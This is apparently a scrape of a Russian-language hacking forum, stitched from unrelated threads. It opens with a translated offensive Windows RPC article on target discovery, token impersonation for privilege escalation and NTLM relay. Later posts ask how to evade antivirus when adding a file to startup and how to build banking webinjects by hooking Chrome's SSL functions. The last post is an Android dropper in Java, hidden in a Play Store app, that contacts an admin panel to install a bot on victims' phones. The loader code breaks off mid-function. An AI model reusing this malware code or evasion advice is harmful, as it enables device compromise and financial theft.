Примечание. Вы можете подключать неявных клиентов только к неявным серверам, а явных клиентов — к явным серверам. В противном случае вы получите ошибку 1717 (RPC_S_UNKNOWN_IF).
Наконец… после всех этих разговоров о внутреннем устройстве RPC давайте поговорим о поверхности атаки RPC.
Очевидно, что в цепочке связи RPC могут быть ошибки и 0-day, что всегда сводится к индивидуальному анализу, чтобы понять потенциал эксплойта, но есть также некоторый потенциал эксплуатации общих концепций дизайна RPC, который я выделю ниже.
Дополнительное примечание: если вам известны интересные RPC CVE, пропингуйте меня по адресу /0xcsandker.
Поиск интересных целей
Итак, прежде чем мы сможем подумать, в какие наступательные игры мы можем
играть с RPC, нам нужно сначала найти подходящие цели.
Давайте углубимся в то, как мы можем найти RPC-серверы и клиенты в ваших системах.
Напомним, что сервер создается путем указания необходимой информации (последовательность протокола и адрес конечной точки) и вызова API-интерфейсов Windows для создания необходимых внутренних объектов и запуска сервера. Имея это в виду, самый простой способ найти RPC-серверы в вашей локальной системе — это найти программы, которые импортируют эти RPC-API Windows.
Один из простых способов сделать это — использовать [DumpBin ](https://docs.microsoft.com/en-us/cpp/build/reference/dumpbin- reference?view=msvc-160), которая в настоящее время поставляется с Visual Studio.
Пример фрагмента кода Powershell для поиска C:\Windows\System32\на недавней Windows10 можно найти ниже:
Code:Copy to clipboard
Get-ChildItem -Path "C:\Windows\System32\" -Filter "*.exe" -Recurse -ErrorAction SilentlyContinue | % { $out=$(C:\"Program Files (x86)"\"Microsoft Visual Studio 14.0"\VC\bin\dumpbin.exe /IMPORTS:rpcrt4.dll $_.VersionInfo.FileName); If($out -like "*RpcServerListen*"){ Write-Host "[+] Exe starting RPC Server: $($_.VersionInfo.FileName)"; Write-Output "[+] $($_.VersionInfo.FileName)`n`n $($out|%{"$_`n"})" | Out-File -FilePath EXEs_RpcServerListen.txt -Append } }
Этот фрагмент выводит имена исполняемых файлов на консоль и весь вывод DumpBin в файл EXEs_RpcServerListen.txt(чтобы вы могли просмотреть, что на самом деле дает вам DumpBin).
Еще один способ найти интересные RPC-серверы — запросить RPC Endpoint Mapper
либо локально, либо в любой удаленной системе. Для этого у Microsoft есть
тестовая утилита под названием [PortQry ](https://www.microsoft.com/en-
us/download/details.aspx?id=17148)(также доступна версия этого инструмента с
графическим интерфейсом), которую вы можете использовать следующим образом:
C:\PortQryV2\PortQry.exe -n
Этот инструмент предоставляет некоторую информацию об удаленных RPC- интерфейсах, о которых известно программе сопоставления конечных точек (помните, что [общеизвестные конечные точки ](https://csandker.io/2021/02/21/Offensive-Windows-IPC-2-RPC.html#well-known- vs-dynamic-endpoints)не должны информировать средство сопоставления конечных точек о своих интерфейсах).
Другой вариант — запросить Endpoint Manager напрямую, вызвав [RpcMgmtEpEltInqBegin ](https://docs.microsoft.com/en- us/windows/win32/api/rpcdce/nf-rpcdce-rpcmgmtepeltinqbegin)и перебирая интерфейсы через [RpcMgmtEpEltInqNext ](https://docs.microsoft.com/en- us/windows/win32/api/rpcdce/nf-rpcdce-rpcmgmtepeltinqnext). Пример реализации этого подхода под названием RPCDump был включен в потрясающую книгу Криса Макнаба « Оценка сетевой безопасности », O’Reilly опубликовал инструмент, написанный на C , здесь (согласно аннотации комментария, кредиты за этот код должны принадлежать Тодду Сабину).
Я перенес этот классный инструмент на VC++ и внес небольшие изменения в удобство использования. Я опубликовал свой форк на https://github.com/csandker/RPCDump .
Как показано, этот инструмент также отображает интерфейсы найденных конечных точек RPC вместе с некоторой другой информацией. Я не буду вдаваться в подробности всех этих полей, но если вам интересно, ознакомьтесь с кодом и прочтите документацию по Windows API. Статистика, например, извлекается вызовом [RpcMgmtInqStats ](https://docs.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce- rpcmgmtinqstats), где возвращаемые значения упоминаются в [Примечания ](https://docs.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce- rpcmgmtinqstats#remarks)».
Еще раз помните, что есть только RPC-интерфейсы, зарегистрированные в Endpoint Mapper цели.
Поиск клиентов, которые подключаются к удаленным или локальным серверам RPC,
также может быть интересной целью.
Не существует единого центра, который бы знал, какие клиенты RPC запущены в
данный момент, поэтому у вас есть два варианта поиска клиентов:
Поиск локальных исполняемых файлов, импортирующих клиентский RPC API, аналогичен тому, что мы уже делали для поиска серверов с помощью [DumpBin ](https://docs.microsoft.com/en-us/cpp/build/reference/dumpbin- reference?view=msvc-160). Хорошим Windows API для поиска является [RpcStringBindingCompose ](https://docs.microsoft.com/en- us/windows/win32/api/rpcdce/nf-rpcdce-rpcstringbindingcompose):
Code:Copy to clipboard
Get-ChildItem -Path "C:\Windows\System32\" -Filter "*.exe" -Recurse -ErrorAction SilentlyContinue | % { $out=$(C:\"Program Files (x86)"\"Microsoft Visual Studio 14.0"\VC\bin\dumpbin.exe /IMPORTS:rpcrt4.dll $_.VersionInfo.FileName); If($out -like "*RpcStringBindingCompose*"){ Write-Host "[+] Exe creates RPC Binding (potential RPC Client) : $($_.VersionInfo.FileName)"; Write-Output "[+] $($_.VersionInfo.FileName)`n`n $($out|%{"$_`n"})" | Out-File -FilePath EXEs_RpcClients.txt -Append } }
Другой способ найти RPC-клиентов — обнаружить их, когда они подключаются к
своей цели. Одним из примеров обнаружения клиентов является проверка трафика,
передаваемого по сети между двумя системами. В Wireshark есть фильтр DCERPC,
который можно использовать для обнаружения подключений.
Пример подключения клиента к серверу показан ниже:
Запрос на привязку — это одна из вещей, которые мы можем искать для идентификации клиентов. В пакете select мы видим клиента, пытающегося привязаться к серверному интерфейсу с UUID «d6b1ad2b-b550-4729-b6c2-1651f58480c3».
После того, как вы определили RPC-сервер, который предоставляет интересные функции, которые могут быть полезны для вашей цепочки атак, самое очевидное, что нужно проверить, — это проверить, можете ли вы получить несанкционированный доступ к серверу.
Вы можете либо реализовать свой собственный клиент, например, на основе моего [примера реализации ](https://csandker.io/2021/02/21/Offensive-Windows- IPC-2-RPC.html#sample-implementation), либо обратиться к [матрице доступа ](https://csandker.io/2021/02/21/Offensive-Windows-IPC-2-RPC.html#access- matrix), чтобы проверить, может ли ваш клиент подключиться к серверу.
Если вы уже глубоко погрузились в обратный инжиниринг RPC-сервера и обнаружили, что сервер устанавливает информацию для проверки подлинности, вызывая [RpcServerRegisterAuthInfo ](https://docs.microsoft.com/en- us/windows/win32/api/rpcdce/nf-rpcdce-rpcserverregisterauthinfo)со своим SPN и указанным поставщиком услуг, помните, что привязка сервера с проверкой подлинности не заставляет клиента использовать привязку с проверкой подлинности. Другими словами: тот факт, что сервер устанавливает аутентификационную информацию, не означает, что клиенту необходимо подключаться через аутентифицированную привязку. Кроме того, при подключении к серверу, который устанавливает информацию для аутентификации, имейте в виду, что клиентские вызовы с недействительными учетными данными не будут отправлены библиотекой времени выполнения (rpcrt4.dll), однако клиентские вызовы без учетных данных будут отправлены. Или, говоря словами Microsoft:
Помните, что по умолчанию безопасность необязательна.
Источник:<https://docs.microsoft.com/en-us/windows/win32/api/rpcdce/nf- rpcdce-rpcserverregisterifex>Click to expand...
Как только вы подключитесь к серверу, вопрос «что делать дальше?» возникает…
Что ж, теперь вы можете вызывать функции интерфейса, но плохая новость заключается в следующем: сначала вам нужно определить имена и параметры функций, что сводится к обратному проектированию вашего целевого сервера.
Если вам повезло и вы ищете не чистый RPC-сервер, а COM-сервер (COM, особенно DCOM, использует RPC под капотом), сервер может поставляться с библиотекой типов (.tlb), которую вы можете использовать для функции интерфейса поиска.
Я не буду углубляться в библиотеки типов или что-либо еще здесь (сообщение в блоге уже довольно длинное), но моя общая рекомендация для тех, кто находится в такой ситуации, такова: возьмите мой пример кода RPC-клиента и сервера, скомпилируйте его и запустите свой Путешествие по обратному инжинирингу с известным вам образцом кода. В этом конкретном случае позвольте мне добавить еще одну подсказку: в моем примере интерфейса есть функция «Вывод», определенная в файле IDL, эта функция «Вывод» начинается с оператора печати. printf("[~] Client Message: %s\n", pszOutput);, вы можете, например, начать с поиска подстроки [~] Client Messageчтобы выяснить, где находится эта конкретная функция интерфейса.
Имперсонация
Имперсонация клиента также представляет собой интересную поверхность для атак. Я уже немного рассказал о том, что такое имперсонация и как она работает, в предыдущей части серии, если вы пропустили эту статью и вам нужно освежить в памяти информацию об имперсонации, вы найдете объяснения в разделе "Имперсонация" моего последнего сообщения.
Рецепт имперсонификации клиента следующий:
Вам нужен RPC-клиент, подключающийся к вашему серверу.
Клиент должен использовать аутентифицированную привязку (иначе не будет
никакой информации безопасности, которую можно было бы выдать за свою)
Клиент не должен устанавливать аутентифицированную привязку Impersonation
Level ниже SecurityImpersonation.
... вот и все
Процесс имперсонификации очень прост:
Вызов RpcImpersonateClient из функции интерфейса вашего сервера.
Обратите внимание, что эта функция принимает хэндл привязки в качестве входных данных, поэтому для использования имперсонификации вам нужен сервер с явной привязкой (что вполне логично).
Если этот вызов успешен, контекст потока сервера изменяется на контекст безопасности клиента, и вы можете вызвать GetCurrentThread & OpenThreadToken, чтобы получить токен имперсонации клиента.
Если вы сейчас говорите "WTF изменение контекста безопасности?!", вы найдете
ответы в посте IPC Named Pipe
Если вам больше нравится "WTF токен имперсонации?!", вы найдете ответы в моем
руководстве по авторизации Windows.
Как только вы вызвали DuplicateTokenEx, чтобы превратить ваш токен Impersonation в первичный токен, вы можете с радостью вернуться в исходный контекст потока сервера, вызвав RpcRevertToSelfEx.
И, наконец, вы можете вызвать CreateProcessWithTokenW, чтобы создать новый процесс с токеном клиента.
Обратите внимание, что это только один из способов создания процесса с токеном клиента, но, на мой взгляд, он достаточно хорошо отображает способ выполнения этих действий, и поэтому я использую этот подход здесь. Пример реализации этого кода можно найти здесь.
Кстати, это та же процедура, которую я использовал для пародирования клиентов Named Pipe в моем предыдущем сообщении.
Как было сказано в рецепте выше, вам просто нужен клиент, который подключается к вашему серверу, и этот клиент должен использовать аутентифицированную привязку.
Если клиент не аутентифицирует свою привязку, то вызов RpcImpersonateClient приведет к ошибке 1764 (RPC_S_BINDING_HAS_NO_AUTH).
Поиск подходящего клиента, который можно подключить к серверу, сводится к поиску RPC-клиента (см. раздел Поиск RPC-клиентов) и поиску клиента, который можно подключить к серверу. Последнее может оказаться самой сложной частью в этой цепочке эксплойтов, и я не могу дать здесь общих рекомендаций по поиску таких соединений. Одна из причин этого заключается в том, что это зависит от последовательности протоколов, используемых клиентом, где неотвеченный TCP вызов может быть лучше всего обнаружен при прослушивании сети, а неотвеченная попытка соединения Named Pipe может быть также замечена на хост-системе клиента или сервера.
В первой части серии (которая была посвящена Named Pipes) я больше внимания уделил выдаче себя за клиента, поэтому здесь я позволю себе несколько слов. Однако, если вы еще не сделали этого, я бы рекомендовал прочитать об условиях гонки при создании экземпляра, а также об особых вкусах при создании экземпляра. Здесь действуют те же принципы. Более интересным аспектом является то, что я намеренно написал выше: "Клиент не должен устанавливать аутентифицированную привязку уровня имперсонации ниже SecurityImpersonation*"... что звучит как процесс отказа, и именно так оно и есть.
Помните, что вы можете установить структуру Quality of Service (QOS) на стороне клиента при создании аутентифицированной привязки? Как было сказано в разделе Аутентифицированные привязки, вы можете использовать эту структуру для определения уровня имперсонации при подключении к серверу. Интересно, что если вы не зададите никакой структуры QOS, то по умолчанию будет SecurityImpersonation, что позволяет любому серверу выдавать себя за клиента RPC до тех пор, пока клиент явно не установит уровень обезличивания ниже SecurityImpersonation.
Результат имперсонификации может выглядеть следующим образом:
Неимперсонация сервера
Существует еще одна сторона имперсонализации, которую часто упускают из виду, но которая не менее интересна с точки зрения злоумышленников.
В первой части серии я подробно описал шаги, которые выполняются при выдаче себя за клиента, они в равной степени применимы и к выдаче себя за RPC (и ко всем другим подобным технологиям), где особенно интересны следующие два шага:
Шаг 8: Контекст потока сервера затем изменяется на контекст безопасности
клиента.
Шаг 9: Любое действие сервера и любая функция, которую сервер вызывает,
находясь в контексте безопасности клиента, выполняются с идентификацией
клиента и тем самым выдают себя за него.
Контекст потока сервера изменяется, и все последующие действия выполняются с контекстом безопасности клиента. В приведенном выше разделе (и в моем примере кода) я использовал это для получения токена текущего потока, который затем является токеном клиента, и преобразования его в первичный токен для запуска нового процесса с этим токеном. С тем же успехом я могу просто вызвать любое действие, которое хочу выполнить напрямую, потому что я уже работаю в контексте безопасности клиента. Исходя из названия раздела, вы, возможно, уже догадались, к чему это приведет... что если имперсонификация не удастся, а сервер не проверит это?
Вызов RpcImpersonateClient, функции API, которая делает всю магию имперсонации за вас, возвращает статус операции имперсонации, и для сервера очень важно проверить это.
Если имперсонификация прошла успешно, то после этого вы находитесь в контексте
безопасности клиента, но если она не удалась, то вы находитесь в том же старом
контексте безопасности, откуда вы вызвали RpcImpersonateClient.
Теперь сервер RPC, вероятно, будет работать от имени другого пользователя
(часто также в более высоком контексте безопасности), и в этих случаях он
может попытаться выдать себя за своего клиента, чтобы выполнять клиентские
операции в более низком, предположительно более безопасном контексте
безопасности клиента. Как злоумышленник, вы можете использовать эти случаи для
векторов атаки повышения привилегий, заставляя сервер провалить попытку выдачи
себя за другого пользователя и тем самым заставляя сервер выполнять клиентские
операции в более высоком контексте безопасности сервера.
Рецепт для этого сценария атаки прост:
Вам нужен сервер, который выдает себя за своего клиента и не проверяет тщательно статус возврата RpcImpersonateClient перед выполнением дальнейших действий.
Действия, предпринимаемые сервером после попытки имперсонификации, должны быть уязвимы с точки зрения вашего клиента.
Вам нужно заставить попытку имперсонификации потерпеть неудачу.
Найти локальный сервер, который пытается выдать себя за клиента, - простая задача, если вы прочитали предыдущие разделы и обратили внимание на то, как использовать DumpBin.
Поиск сервера, выполняющего действия в контексте "предполагаемого выдаваемого за клиента", которые могут быть использованы с точки зрения злоумышленников, - это в значительной степени творческий анализ каждого конкретного случая, что делает сервер. Лучший совет для анализа таких случаев - мыслить нестандартно и быть готовым к цепочке из нескольких событий и действий. Довольно простым, но мощным примером может быть файловая операция, выполняемая сервером; возможно, вы можете использовать перекрестки для создания файла в системном пути, защищенном от записи, или заставить сервер открыть именованный канал вместо файла, а затем использовать Named Pipe Impersonation, чтобы выдать себя за сервер...
Последнее в списке - вызвать неудачу попытки имперсонализации сервера, и это самая простая часть работы. Есть два способа добиться этого:
Любое из этих действий приведет к неудачной попытке имперсонации.
Эта техника, кстати, не нова, она широко известна... просто иногда забывается. Возможно, для этой техники есть и более причудливое название, с которым я еще не сталкивался. Microsoft даже специально напоминает об этом в разделе Remarks (они даже дали этому специальный заголовок 'Securtiy Remarks') функции RpcImpersonateClient:
Если вызов RpcImpersonateClient не удается по какой-либо причине, клиентское соединение не обезличивается, и клиентский запрос выполняется в контексте безопасности процесса. Если процесс запущен под высокопривилегированной учетной записью, такой как LocalSystem, или как член административной группы, пользователь может иметь возможность выполнять действия, которые в противном случае были бы запрещены. Поэтому важно всегда проверять возвращаемое значение вызова, и в случае неудачи выдать ошибку; не продолжать выполнение запроса клиента.
NTLM-соединения с аутентификацией MITM
В последних двух разделах рассматривается тот факт, что RPC может использоваться как технология удаленного сетевого взаимодействия и поэтому также имеет интересную поверхность атаки со стороны сети.
Побочное замечание: Я намеренно сформулировал это таким образом; вначале вы могли подумать: "Ну и для чего еще использовать технологию под названием Remote Procedure Call?!". ... Но на самом деле RPC также предназначен для чисто локального использования в качестве обертки для ALPC (я вернусь к этому в третьей части серии, когда разгадаю все тайны ALPC).
В любом случае, если вы используете RPC по проводам и хотите, чтобы ваша привязка была аутентифицирована, вам понадобится сетевой протокол, который будет выполнять аутентификацию за вас. Вот почему второй параметр (AuthnSvc) RpcServerRegisterAuthInfo, который является функцией API, вызываемой на стороне сервера для создания аутентифицированной привязки, позволяет вам определить, какую службу аутентификации вы хотите использовать. Например, вы можете указать Kerberos с постоянным значением RPC_C_AUTHN_GSS_KERBEROS, или вы можете указать RPC_C_AUTHN_DEFAULT, чтобы использовать службу аутентификации по умолчанию, которой, что интересно, является NTLM (RPC_C_AUTHN_WINNT).
Kerberos был установлен в качестве схемы аутентификации по умолчанию с Windows 2000, но RPC все еще использует NTLM по умолчанию.
Поэтому, если вы находитесь в подходящем месте в сети и видите NTLM- соединение, то вы можете сделать с ним две интересные вещи:
Вы можете перехватить хэш ответа на вызов NTLM(v2) и в автономном режиме
перебрать пароль пользователя; Или/или
Вы можете перехватить и передать NTLM соединение для получения доступа к
другой системе.
Я не хочу глубоко погружаться в эти две темы (если вы дошли до этого места, то наверняка уже достаточно прочитали), поэтому добавлю лишь два замечания:
Форсирование вызова NTLM(v2) очень хорошо известно, поэтому у вас не должно
возникнуть проблем с поиском того, как это сделать. В качестве примера
посмотрите hashcat mode 5600 на
https://hashcat.net/wiki/doku.php?id=example_hashes.
NTLM Relay очень хорошо описана великим Pixis на <https://en.hackndo.com/ntlm-
relay/>. Есть несколько моментов, на которые следует обратить внимание в
зависимости от используемого протокола, поэтому обязательно ознакомьтесь с
этим постом, если вам интересно.
Соединения GSS_NEGOTIATE с аутентификацией MITM
И последнее, но не менее важное... вы почти дочитали до конца этот пост.
Наряду со схемами сетевой аутентификации на основе NTLM, которые вы получите, если выберете RPC_C_AUTHN_WINNT или RPC_C_AUTHN_DEFAULT в качестве службы аутентификации в вызове RpcServerRegisterAuthInfo, очень часто используемая константа RPC_C_AUTHN_GSS_NEGOTIATE также является интересной целью.
При выборе RPC_C_AUTHN_GSS_NEGOTIATE используется Microsoft's Negotiate SSP для указания клиенту и серверу самостоятельно договориться о том, NTLM или Kerberos следует использовать для аутентификации пользователей. По умолчанию эти переговоры всегда приводят к Kerberos, если клиент и сервер поддерживают его.
Эти переговоры могут быть атакованы с позиции перехватывающей сети, чтобы заставить использовать NTLM вместо Kerberos, эффективно понижая схему аутентификации. Оговорка заключается в том, что для этой атаки требуется подходящая сетевая позиция и отсутствующие подписи. На данный момент я не буду углубляться в эту тему, в основном потому, что я подробно описал процесс и атаку в старой статье здесь: Downgrade SPNEGO Authentication.
Кстати, константы службы аутентификации, упомянутые здесь, можно найти здесь: <https://docs.microsoft.com/en-us/windows/win32/rpc/authentication-service- constants>.
Вот и все... вы справились!
Ссылки
![docs.microsoft.com](/proxy.php?image=https%3A%2F%2Flearn.microsoft.com%2Fen- us%2Fmedia%2Fopen-graph- image.png&hash=9d6f0d18756f3d99ae462d15c3a265f8&return_error=1)
us/windows/win32/rpc/overviews)
Remote Procedure Call (RPC) navigation page for overview sections.
docs.microsoft.com
[ A Voyage to Uncovering Telemetry: Identifying RPC Telemetry for Detection Engineers — IPC Research 1.0 documentation ](https://ipc- research.readthedocs.io/en/latest/subpages/RPC.html)
](https://blog.xpnsec.com/analysing-rpc-with-ghidra-neo4j/)
Hunting for new lateral movement techniques or interesting ways to execute code can be a nice way to sink some free time. With Windows spawning numerous RPC services on boot, finding unusual execution techniques is sometimes as simple as scratching just below the surface. And often the payoff...
blog.xpnsec.com
](https://www.codeproject.com/Articles/4837/Introduction-to-RPC- Part-1#Implicitandexplicithandles17)
An introduction to RPC programming. A simple RPC client/server application is explained.
www.codeproject.com
[Оригинал вот тутЪ](https://csandker.io/2021/02/21/Offensive-Windows- IPC-2-RPC.html)
I have tried adding my file to registry, using task scheduler, putting a shortcut into the Startup folder, and some more methods. All were detected by antivirus because it is suspicious. Can anyone give tips on ways I can add my file to startup without cause antiviruses machine learning to detect it? Or how I can re FUD one of these current methods? I am not that amazing with Pinvoke but I am trying to learn.
RU:
Я попробовал добавить свой файл в реестр, используя планировщик заданий,
поместить ярлык в папку Startup и некоторые другие методы. Все они были
обнаружены антивирусом, потому что это подозрительно. Может ли кто-нибудь дать
советы о том, как я могу добавить свой файл в автозагрузку без причин, по
которым антивирусы машинного обучения обнаруживают его? Или как я могу REFUD
одним из этих текущих методов? Я не так удивителен с Pinvoke, но я пытаюсь
учиться.
Ковырялся тут в своих закладках и сохраненках и нашел вот такой вот сорец. Догадайся что он делает. Компилировать нельзя!
C:Copy to clipboard
#include "stdio.h"
#define e 3
#define g (e/e)
#define h ((g+e)/2)
#define f (e-g-h)
#define j (e*e-g)
#define k (j-h)
#define l(x) tab2[x]/h
#define m(n,a) ((n&(a))==(a))
long tab1[]={ 989L,5L,26L,0L,88319L,123L,0L,9367L };
int tab2[]={ 4,6,10,14,22,26,34,38,46,58,62,74,82,86 };
main(m1,s) char *s; {
int a,b,c,d,o[k],n=(int)s;
if(m1==1){ char b[2*j+f-g]; main(l(h+e)+h+e,b); printf(b); }
else switch(m1-=h){
case f:
a=(b=(c=(d=g)<<g)<<g)<<g;
return(m(n,a|c)|m(n,b)|m(n,a|d)|m(n,c|d));
case h:
for(a=f;a<j;++a)if(tab1[a]&&!(tab1[a]%((long)l(n))))return(a);
case g:
if(n<h)return(g);
if(n<j){n-=g;c='D';o[f]=h;o[g]=f;}
else{c='\r'-'\b';n-=j-g;o[f]=o[g]=g;}
if((b=n)>=e)for(b=g<<g;b<n;++b)o[b]=o[b-h]+o[b-g]+c;
return(o[b-g]%n+k-h);
default:
if(m1-=e) main(m1-g+e+h,s+g); else *(s+g)=f;
for(*s=a=f;a<e;) *s=(*s<<e)|main(h+a++,(char *)m1);
}
}
В общем существует конкурс по программированию, в котором задачей участников является написание максимально запутанного кода на языке Си. Если тебя заинтересовала тема обфускации на уровне исходников советую посмотреть ссылки ниже. Там есть много различных примеров где можно сломать голову и сидеть не один час, а то и несколько дней.
International Obfuscated C Code Contest
www.ioccc.org
[en]
Here in this topic we should share C code which help people to learn new
things about syntax and also related subjects (eg: assembly concepts), I will
start with a small code, most of people probably can guess what will happen
when it runs, but its a very nice exercise to run it in a debugger like GDB
and understand why this happens. The code should be compiled with those flags
otherwise compiler optimizations/protections will prevent it to work properly.
[ru]
Здесь, в этой теме, мы должны поделиться C кодом C, который помогает людям
узнать новые вещи о синтаксисе, а также связанных предметах (например,
концепции сборки), я начну с небольшого кода, большинство людей, вероятно,
могут догадаться, что произойдет, когда он работает, Но это очень хорошее
упражнение, чтобы запустить его в отладчике, как GDB, и понять, почему это
происходит. Код должен быть составлен с этими флагами, в противном случае
оптимизация компилятора/защита предотвратит его работать должным образом.
Bash:Copy to clipboard
gcc -O0 -fno-stack-protector code.c -o code
code.c
C:Copy to clipboard
#include <stdio.h>
#include <stdlib.h>
void somefunc()
{
puts("What happened?");
exit(1);
}
void func()
{
void (*reference[0])();
1[reference] = somefunc;
1[reference];
}
int main()
{
func();
return 0;
}
Специалисты по Сям, надоумьте где почитать про следующий момент.
Есть сокет сервер на локалхосте.
Открываю к нему коннект обычной командой telnet localhost 7777 . В wireshark
вижу один пакет данных от клиента к серверу, в серверной части срабатывает
accept(server_fd, (struct sockaddr*)&address, (socklen_t*)&addrlen)) ;
и дальше процесс останавливается, как и должно быть - в ожидании данных от
сокет клиента.
Но, если я создаю сокет клиент на сях, простейшим методом типа
Code:Copy to clipboard
if ((client_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("socket failed");
exit(EXIT_FAILURE);
}
else{
printf("socket ready");
}
address.sin_family = AF_INET;
address.sin_addr.s_addr = inet_addr(TCP_ADDR);
address.sin_port = htons(PORT);
if ( connect(client_fd, (struct sockaddr*)&address, addrlen)) {
printf("connect error? \n");
}
else
{
printf("connected \n");
}
Коннект с этого модуля вызывает генерацию 3 пакетов данных для сервера, и
естественно сокет сервак помимо accept'а получает на вход некий мусор. Хотя
никаких данных я не отправляю, просто открываю соединение.
Почему так?
Подозреваю что есть некий буфер в сокет клиенте который нужно очищать перед
connect'ом к серверу, но как это сделать? В описании к либе <sys/socket.h>
особых подробностей нет.
Приветствую. В процессе написания вебинжектов. Наткнулся на такой проект как NetRipper (https://github.com/NytroRST/NetRipper) и даже адаптировал под нужный мне формат. Да только вот проблема: в 64 битном хроме работает, а на 32 битном работать не хочет. Вопрос: как добыть сигнатуры ssl_read и ssl_write из нового boringssl данного формата?
Должно получиться такое :
Code:Copy to clipboard
public start
start proc near
lea rcx, start
push rcx
pop rdx
add rcx, 4E20h
add rdx, 2764h
jmp rdx
start endp
А получается вот такое)
Code:Copy to clipboard
main proc near
var_18= qword ptr -18h
sub rsp, 38h
lea rcx, sub_140001000
call sub_140001090
mov [rsp+38h+var_18], rax
mov rcx, [rsp+38h+var_18]
call sub_1400010B0
call rax
xor eax, eax
add rsp, 38h
retn
Код:
C++:Copy to clipboard
template <class T>
inline T obfuscate_address(T addr) {
return reinterpret_cast<T>(reinterpret_cast<std::uintptr_t>(addr) + 1337 );
}
template <class T>
inline T deobfuscate_address(T addr) {
return reinterpret_cast<T>(reinterpret_cast<std::uintptr_t>(addr) - 1337 );
}
const auto obfuscated_foo = obfuscate_address(&test);
deobfuscate_address(obfuscated_foo)();
Как добиться желаемого результата?)
](https://anonfiles.com/p2s7vfO2x7/C_21_2019_pdf)
anonfiles.com
Как реализовать кастомный энтри поинт. Как здесь.
Сэмпл показывется как с2 фреймворк nighthawk
https://bazaar.abuse.ch/download/b775a8f7629966592cc7727e2081924a7d7cf83edd7447aa60627a2b67d87c94/
UPD: нашел анализ семпла [https://www.proofpoint.com/us/blog/...-pentest-tool-
likely-gain-threat-actor-notice](https://www.proofpoint.com/us/blog/threat-
insight/nighthawk-and-coming-pentest-tool-likely-gain-threat-actor-notice) Но
вопрос остается актуальным, как это реализовать)
С наступающий! Где почитать что-то желательно с наработками по работе с icmp в винде? Нашел статью на секюритилаб с исходниками на питоне и пару статей на хабре но все не о том.
Конечная цель: построить клиент-серверное приложение с разграничением сессий.
Первичное рукопожатие будет происходить через зашифрованный пакет icmp с
динамическим размером.
Язык: си
Господа знатоки Цэ и прочие гении низкоуровневой разработки, возможно ли как- то писать под винду на Си, без использования CRT и WinApi? Также обойтись без динамического разрешения апи по хешам и прочее. Интересует именно разработка на чистом Си, не прибегая к возможностям WinApi и CRT. Если конкретнее, меня интересуют 2 момента: как реализовать вывод в консоль и как получить путь к самому себе без использования вышеперечисленных технологий? Спасибо!
Господа, я не являюсь профессиональным кодером, еще полгода назад я даже не
знал что существует ява, поэтому слепил примитивный лоадер.
Цена исходников аппа для андроида 10 баксов, цена аккаунта разработчика 25
баксов, а на рынке нет лоадеров, по крайней мере когда вступал на этот путь
ничего адекватного не нашел,
этот лоадер работает у меня уже 3-4 месяца на нескольких акков, нет ни одного
бана.
цель выкладывания - довести до ума, кто даст дельные советы, буду
переодически обновлять стартовый пост.
цель лоадера - минимальным кодом установить бота на тело , я воткнул все в
одно активити, которое можно вставить в любое приложение как загрузочный экран
часть вырезано, такие сложности как шифрование трафика, шифрование данных в
хранилище и прочее не нужное
я отказался от сложностей типа фейрбазе и прочих ништяков, так белый апп с
маркета в 80% сносят в первые пару дней, нет смысла копить ботов, а вот жирных
выцыпить сразу - более приоритетно
Java:Copy to clipboard
public class MainActivity extends Activity {
private static final String ADMIN_PANEL = "http://127.0.0.1/"; // тут понятно все
private final Context mContext = this;
// не будем писать сами общение с админкой доверим OkHttpClient нужно только добавить в gradle dependencies эту строку implementation 'com.squareup.okhttp3:okhttp:5.0.0-alpha.3'
// OkHttpClient выбран потому, что можно быстро маштабировать под шифрование и кодирование трафика не првязываясь к json, хотя он будет дефолтным
private final OkHttpClient client = new OkHttpClient();
private boolean APP_CONNECT = false; // будет ситуация когда лоадер не достучиться до админки, блокнули домен/нет инета и прочее, этой переменной мы отловим эту ситуацию
private JSONObject LOADER_DATA = null; // наша главная переменная будет тащить в себе всю информацию
private SharedPreferences sharedPreferences; // будем использовать sharedPreferences как самое примитивное и быстрое хранилище для нашей информации
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
sharedPreferences = mContext.getSharedPreferences("localpref", Context.MODE_PRIVATE);
loadSession();
// при старте аппа, даем 10 секунд лоадеру, что бы сделать свои дела, если он не достучался до админки либо не смог сформировать данные свои - выходим в белый апп
new Handler(Looper.getMainLooper()).postDelayed(this::checkInternet, 10000);
}
private void checkInternet(){
if( LOADER_DATA == null || !APP_CONNECT ){
startRealApplication();
}
}
@Override
protected void onResume() {
/*
очень важно при восстановление нашего активти, воссоздать нашу переменную и стартануть какие либо действия,
юзер обязательно будет тыкать туда сюда, включать выключать активити, а мы должно держать руку на пульсе всегда
*/
super.onResume();
loadSession();
}
public void startRealApplication(){
//старт реального белого аппа тут RealApplication - имя активити с которого оно должно по умолчанию стартовать
Intent m = new Intent(this, RealApplication.class);
m.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_NO_HISTORY );
startActivity(m);
}
public void updateUI(String step){
/*
функция, которая развлекает юзера в процессе работы тут можно по шагам его информировать
например
* нужно обновить апп
* скачивание обновление и какой-то прогресс бар
* дай права ставить из неизвестных источников
* и прочее
*/
runOnUiThread(() -> {
TextView loaderText = (TextView) findViewById(R.id.loaderText); // просто для вывод какого либо текста что бы скрасить ожидание юзера
switch (step){
case "startDownloadFile":
loaderText.setText(step);
break;
case "endDownloadFile":
loaderText.setText(step);
break;
case "needPermission":
loaderText.setText(step);
Button b = (Button) findViewById(R.id.button);
b.setOnClickListener(v -> {
startPerm();
});
b.setVisibility(View.VISIBLE);
break;
case "startInstall":
loaderText.setText(step);
break;
default:
loaderText.setText(step);
break;
}
});
}
private void sendData(JSONObject data, String status) {
try{
data.put("status", status);
RequestBody requestBody = new FormBody
.Builder()
.add("data", data.toString() ) // вот в этом моменте я не отдаю json, так как тут должно быть шифрование общения с сервером, поэтому отдам просто строкой
.build();
Request request = new Request
.Builder()
.url(ADMIN_PANEL)
.addHeader("cache-control","no_cache")
.addHeader("User-Agent","Mozilla/5.0")
.post(requestBody)
.build();
client.newCall(request).enqueue(new Callback() {
@Override
public void onFailure(Call call, IOException e) {
}
@Override
public void onResponse(Call call, Response response) {
if (response.isSuccessful()) {
try {
String resString = response.body().string();
//сначало мы считаем плайн текст, так как тут должно быть тоже зашифровано тело
JSONObject res = new JSONObject(resString);
APP_CONNECT = true; // коннект с админкой есть
